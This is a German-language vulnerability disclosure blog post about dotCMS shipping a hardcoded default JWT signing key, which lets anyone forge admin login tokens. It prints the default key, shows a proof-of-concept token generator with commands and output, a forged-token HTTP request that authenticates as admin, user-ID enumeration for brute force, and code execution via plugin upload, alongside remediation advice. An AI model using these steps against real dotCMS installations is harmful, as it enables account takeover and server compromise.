Statischer JWT Key in dotCMS

Komm ich unterschreib das für dich

Dies ist eine übersetzte Version. Das englische Original finden Sie hier.

Wir haben uns kürzlich dotCMS angesehen, ein in Java geschriebenes Open-Source Content Management System (CMS). Bei der Analyse des CMS-Quellcodes auf potenzielle Deserialisierungs-Schwachstellen stolperten wir über den folgenden Code:

@Override
public Key getKey() {
  final String hashKey = Config
    .getStringProperty(
      "json.web.token.hash.signing.key",
      "rO0ABXNyABRqYXZhLnNlY3VyaXR5LktleVJlcL35T7OImqVDAgAETAAJYWxnb3JpdGhtdAASTGphdmEvbGFuZy9TdHJpbmc7WwAHZW5jb2RlZHQAAltCTAAGZm9ybWF0cQB+AAFMAAR0eXBldAAbTGphdmEvc2VjdXJpdHkvS2V5UmVwJFR5cGU7eHB0AANERVN1cgACW0Ks8xf4BghU4AIAAHhwAAAACBksSlj3ReywdAADUkFXfnIAGWphdmEuc2VjdXJpdHkuS2V5UmVwJFR5cGUAAAAAAAAAABIAAHhyAA5qYXZhLmxhbmcuRW51bQAAAAAAAAAAEgAAeHB0AAZTRUNSRVQ=");
  return (Key) Base64.stringToObject(hashKey);
}

Da der Schlüssel während der dotCMS-Installation nicht geändert/regeneriert wird, verwendet jede Standardinstallation von dotCMS denselben Schlüssel, um Json Web Tokens (JWT) zu signieren. Dies machte uns stutzig, da JWTs in der Regel für die Benutzerauthentifizierung verwendet werden. Beim lsen der in der Dokumentation vorhanden “Security Best-Practices” stellten wir fest, dass das dotCMS-Team ebenfalls empfiehlt, diesen Schlüssel in Produktionsumgebungen zu ändern.

  • Use a Custom JWT Signing Key
  • Each dotCMS installation should have a separate and unique JWT signing key.
  • By default dotCMS uses a Default Signing Key. You must explicitly generate a new signing key and then configure your dotCMS installation to use your new signing key with the json.web.token.hash.signing.key property
  • For more information on JWT signing keys, please see the Authentication Using JWT documentation.

Der Wert von “json.web.token.hash.signing.key” erlaubt jedoch nicht einfach die Verwendung einer zufälligen Zeichenkette, da dotCMS eine serialisierte und base64-kodierte Instanz eines “key”-Objekts benötigt. dotCMS bietet zudem kein Tool oder Skript zur Erzeugung solcher Schlüssel. Dies macht die Generierung eines Schlüssels für den durchschnittlichen Benutzer kompliziert.

Hinzu kommt, dass identische Konfigurationsdateien in zwei unterschiedlichen Verzeichnissen existieren, von denen jedoch nur eine einen Einfluss auf den verwendeten Signierschlüssel hat. Eine Änderung des Signierschlüssels in der falschen Konfigurationsdatei hat keine Auswirkung und der Standardschlüssel wird weiterhin verwendet. Diese Umstände machen es sehr wahrscheinlich, dass viele dotCMS-Installationen nach wie vor den Standardschlüssel verwenden.

Hintergrund: JSON Web Tokens

JSON-Web-Tokens bieten einen offenen Standard für die Übertragung von Session-/Nutzeinformationen. Die Daten innerhalb des JWT sind standardmäßig nicht verschlüsselt, werden aber von der ausstellenden Partei signiert, um sicherzustellen, dass der Inhalt nicht manipuliert werden kann. Im Falle von dotCMS (und vielen anderen Web Dienste) werden JWTs für die Benutzerauthentifizierung verwendet. Der Vortei der Verwendung von JWT ist, dass die Anwendung serverseitig keine Sessionstore bereitstellen muss, da sämtliche Infromationen im Token selbst abgelegt werden.

Ein JSON-Web-Token besteht aus drei Teilen, die durch Punkte getrennt sind (xxxx.yyyyy.zzzzz):

  • Header (JSON, Base64 kodiert) speichert Metadaten über den Token, beispielsweise welcher Algorithmus zum Signieren verwenden wurde.
  • Payload (JSON, Base64 encoded) mit Angaben über den Nutzer sowie weiteren Metadaten.
  • Signatur zur Prüfung der Authentizität (Signiert mit einem geheimen Schlüssel).

Eine detaillierte Beschreibung finden Sie auf der Seite jwt.io. Das folgende Diagramm illustriert den typischen Ablauf der Authentifizierung mittels JSON Web Tokens:

dotCMS authentication workflow with JWT

JSON Web Tokens in dotCMS

Schauen wir nun, wo JSON Web Tokens in dotCMS verwendet werden. Es gibt zwei Stellen, an denen JWT zur Authentifizierung zum Einsatz kommt:

  • Die REST-API, die zur Managen von Content sowie zur Ausführung von Elastic Search-Abfragen verwendet werden kann.
  • Die AutoLogin-Funktion des dotCMS-Backends. Nutzer ein solches Token, nachdem sie sich erfolgreich am dotCMS-Backend angemeldet haben (und bei der Anmeldung die Option “remember me” ausgewählt wurde).

Die AutoLogin-Funktion ist für Angreifer interessanter, da das dotCMS-Backend Administratoren über die Installation von Plugins die Möglichkeit bietet, beliebigen Code auszuführen. Daher werden wir uns darauf fokussieren.

dotCMS Anmeldeseiten

Hier ein typischer dotCMS JWT Token, er kann online dekodiert werden:

eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJpWEtweXU2QmtzcWI0MHZNa3VSUVF3PT0iLCJpYXQiOjE1MzA1NTIyNDksInN1YiI6IntcInVzZXJJZFwiOlwiaVhLcHl1NkJrc3FiNDB2TWt1UlFRd1xcdTAwM2RcXHUwMDNkXCIsXCJsYXN0TW9kaWZpZWRcIjoxNTMwNTUyMjQ5MDQ1LFwiY29tcGFueUlkXCI6XCJcIn0iLCJpc3MiOiJpWEtweXU2QmtzcWI0MHZNa3VSUVF3PT0iLCJleHAiOjE1MzA1NTM0NDl9.ieoL5zosEU8ATnbKvVWjHSAXyi9FFi3tjqZ70Xu8tqQ

Hier der decodierte Inhalt des JWT Payloads:

{
  "jti": "iXKpyu6Bksqb40vMkuRQQw==",
  "iat": 1529522202,
  "sub": "{\"userId\":\"iXKpyu6Bksqb40vMkuRQQw\\u003d\\u003d\",\"lastModified\":1204824961000,\"companyId\":\"dotcms.org\"}",
  "iss": "iXKpyu6Bksqb40vMkuRQQw==",
  "exp": 1530731802
}
Feld Beschreibung
jti Eindeutige ID des Tokens. Dies ist die Benutzer-ID, für die dieses Token ausgestellt wurde. (Base64- und URL-kodiert)
iat Issued at time (Zeitpunkt der Tokenerstellung)
sub Feld für zusätzliche Informationen
userID Same as jti, jedoch ohne Base64 padding ('=')
lastModified Letzte Änderung
companyId Registrierte Firma (wird für unseren Zwecke nicht benötigt)
iss Token-Aussteller, ist in der Regel das selbe Wert in jti.
exp Token-Ablaufzeit

Soweit wir wissen, gibt es keine direkte Möglichkeit, die companyId von “dotcms.org” in einen anderen Wert zu ändern. Daher ist alles, was ein Angreifer braucht, eine gültige UserID. Die Benutzer-ID des bei der Installation angelegten Administratorkontos lautet “dotcms.org.1”.

dotCMS Profildetails für den Benutzer mit der IDdocms.org.1

Nachfolgende Benutzer haben das gleiche Muster, aber eine weniger vorhersehbare Nummerierung, dennoch ist es aufgrund des kleinen Schlüsselraums (4 Ziffern) relativ einfach, die Aufzählung der Benutzerkennungen zu automatisieren.

dotCMS Profildetails für einen anderen Benutzer

Als zusätzlicher Sicherheitsmechanismus wird die Benutzer-ID innerhalb des JWT verschlüsselt. Dabei wird der Schlüssel wie der zum Signieren verwendet. Das Ändern des Standard-Signierschlüssels ändert aber nicht den Schlüssel für die Verschlüsselung der Benutzer-ID.

Da Angreifer alle Werte im Payload-Bereich setzen/erraten können und Zugriff auf den Standard-Signierschlüssel besitzen, ist es möglich, ein gültiges Token für einen beliebigen Benutzer zu generieren und mit diesem Token auf das dotCMS-Backend zuzugreifen.

Ausnutzung

Wir haben ein kleines Tool entwickelt, dass das Erzeugung von dotCMS JWT-Tokens erlaubt, die mit dem Standardschlüssel signiert sind. Es ist recht selbsterklärend:

timo@dotcms ~/w/d/d/target> java -jar dotCMSTokenGenerator-0.0.1-shaded.jar 
----- dotCMS TokenGenerator PoC by MOGWAI LABS GmbH (https://mogwailabs.de) -----

usage: generate_dotCMS_JWT.jar
 -e,--enumerate <arg>   enumerate usernames (e.g. -e 1:100:dotcms.org.
                        --> dotcms.org.[1-100]
 -k,--key <arg>         custom signing Key, the JWT will be signed with
                        this key.
 -o,--output <arg>      output File for JWT List
 -u,--user <arg>        userID

Example usage: generateDotCMS_JWT.jar -u 'dotcms.org.1'
Example usage: generateDotCMS_JWT.jar -e '2700:2900:dotcms.org.' -o '/tmp/tokens.lst'

Das folgende Beispiel zeigt das Erzeugen eines JWT-Token für eine bestimmte Benutzerkennung (dotcms.org.1 ist der Standard-Admin-Benutzer):

timo@dotcms ~/w/d/d/target> java -jar dotCMSTokenGenerator-0.0.1-shaded.jar -u 'dotcms.org.1'
----- dotCMS TokenGenerator PoC by MOGWAI LABS GmbH (https://mogwailabs.de) -----

eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJpWEtweXU2QmtzcWI0MHZNa3VSUVF3PT0iLCJpYXQiOjE1MzA1NDM1NTksInN1YiI6IntcInVzZXJJZFwiOlwiaVhLcHl1NkJrc3FiNDB2TWt1UlFRd1xcdTAwM2RcXHUwMDNkXCIsXCJsYXN0TW9kaWZpZWRcIjoxNTMwNTQzNTU5Mzk5LFwiY29tcGFueUlkXCI6XCJcIn0iLCJpc3MiOiJpWEtweXU2QmtzcWI0MHZNa3VSUVF3PT0iLCJleHAiOjE1MzA1NDQ3NTl9.Vk9n2dXdSYMb3pjht6EBZy5Plj63qtDuPvke11eOsU4

Die Gültigkeit des Tokens kann mit Hilfe der folgenden HTTP-Anfrage überprüft werden. Hier muss einfach das “access_token”-Cookie durch den neuen Token ersetzt werden.

GET /api/v1/users/current HTTP/1.1
Host: 192.168.11.130:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.11.130:8080/dotAdmin/
com.dotmarketing.session_host: 48190c8c-42c4-46af-8d1a-0cd5db894797
Cookie:
access_token=eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJpWEtweXU2QmtzcWI0MHZNa3VSUVF3PT0iLCJpYXQiOjE1MzA2OTAxMjEsInN1YiI6IntcInVzZXJJZFwiOlwiaVhLcHl1NkJrc3FiNDB2TWt1UlFRd1xcdTAwM2RcXHUwMDNkXCIsXCJsYXN0TW9kaWZpZWRcIjoxNTI3NDk3ODUzNzc0LFwiY29tcGFueUlkXCI6XCJkb3RjbXMub3JnXCJ9IiwiaXNzIjoiaVhLcHl1NkJrc3FiNDB2TWt1UlFRdz09IiwiZXhwIjoxNTMxODk5NzIxfQ.7RVzkQBvYy_JKZQhYRed9FJrgFpwteVmg_Bg3uBNCJE
Connection: close

Wenn das Token gültig war, liefert der Server Details zum den aktuellen Benutzer zurück. Die zurückgegebene Sitzung ist ebenfalls authentifiziert

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=808B80A824B792D9593DDF29B742FB05; Path=/; HttpOnly
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Authorization, Accept, Content-Type, Cookies
Content-Type: application/json
Content-Length: 138
Date: Wed, 04 Jul 2018 07:43:51 GMT
Connection: close

{"userId":"dotcms.org.1","givenName":"Admin","email":"admin@dotcms.com","surname":"Admin","roleId":"e7d4e34e-5127-45fc-8123-d48b62d510e3"}

Es ist zudem möglich, eine Liste potenzieller Token zu erstellen. Die generierte Liste kann in einem Tool wie “burp intruder” verwendet werden, um einen Brute-Force-Angriff auf gültige Benutzer-IDs durchzuführen. Das folgende Beispiel generiert Token für die IDs dotcms.org.2000 bis dotcms.org.3000

timo@dotcms ~/w/d/d/target> java -jar dotCMSTokenGenerator-0.0.1-shaded.jar -e '2000:3000:dotcms.org' -o /tmp/dotcmstokens
----- dotCMS TokenGenerator PoC by MOGWAI LABS GmbH (https://mogwailabs.de) -----

Starting to generate the JWT list...
Done generating list to /tmp/dotcmstokens

Post Exploitation

Sobald sie sich als privilegierter Benutzer authentifiziert haben, können Angreifer ein benutzerdefiniertes Plugin hochladen, was die Ausführung von bösartigem Code auf dem Server erlaubt. Der Plugin-Upload ist unter “Dev Tools -> Plugins -> Upload Plugin” zu finden.

Plugin upload Form im dotCMS backend

dotCMS-Plugins sind in Java geschrieben und können direkt nach dem Upload ausgeführt werden, was es Angreifern ermöglicht, Befehle unter dem Kontext des dotCMS-Benutzers auszuführen. Als Proof of Concept haben wir ein bestehendes Beispiel-Plugin modifiziert, das beim Upload eine Datei auf dem Webserver erstellt.

Behebung

Der einfachste Weg, dieses Problem zu beheben, ist, den dotCMS-Standardschlüssel zu ändern. Wir haben ein kleines Tool entwickelt, das die Erzeugung eines solchen Schlüssels vereinfacht. Wenn es ausgeführt wird, generiert es eine zufällige AES 256 Zeichenfolge, mit der der Standardschlüssel in der dotCMS-Konfigurationsdatei ersetzt werden kann:

{dotCMSRoot}/dotserver/tomcat-{version}/webapps/ROOT/WEB-INF/classes/dotmarketing-config.properties.

In der Konfigurationsdatei existiert die folgende Zeile
# json.web.token.hash.signing.key={theDefaultKey}.

Löschen Sie das “#” (und alle führenden Leerzeichen) am Anfang der Zeile. {theDefaultKey} muss durch den neu generierten Schlüssel ersetzt werden. Nach einem Neustart von dotCMS werden die Änderungen wirksam.

Reaktion des Hersteller

Wir haben den dotCMS-Entwickler zu diesem Problem kontaktiert. Sie sehen dies nicht direkt als Sicherheitslücke, da sie ihren Kunden bereits empfehlen, den Standardschlüssel zu ändern. Das Problem war teilweise bekannt und wurde in den folgenden GitHub-Themen dokumentiert:

Unsere Nachforschungen ergaben jedoch mehrere zusätzliche GitHub Issues:

dotCMS plant nicht, die Fixes für diese Einträge in die aktuelle dotCMS Version (4.3.3) zurückzuportieren, stattdessen sollten sie Teil der Version 5.x sein, die in den nächsten Monaten veröffentlicht wird.


Vielen Dank an Jon Tyson bei Unsplash für das Titelbild.